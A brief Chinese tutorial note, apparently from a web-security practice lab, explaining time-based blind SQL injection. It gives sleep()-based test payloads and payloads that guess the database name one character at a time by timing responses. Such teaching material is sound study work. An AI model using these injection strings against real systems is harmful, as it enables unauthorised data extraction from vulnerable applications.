什么是盲注-based time
如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是"时间",通过特定的输入,判断后台执行的时间,从而确认注入!
常用的Teat Payload:
kobe’and sleep(5)#
看看输入:kobe 和输入kobe’and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞
输入’、kobe、koebe’ or1=1#
打开开发者选项
网络
重新载入
基于时间的延迟
kobe’and if((substr(database(),1,1))=‘a’,sleep(5),null)#
kobe’and if((substr(database(),1,1))=‘p’,sleep(5),null)#
kobe’ and if((substr(database(),1,1))=‘s’,sleep(5),null)#
……
……
……进行多次试探
很费时间的一种方法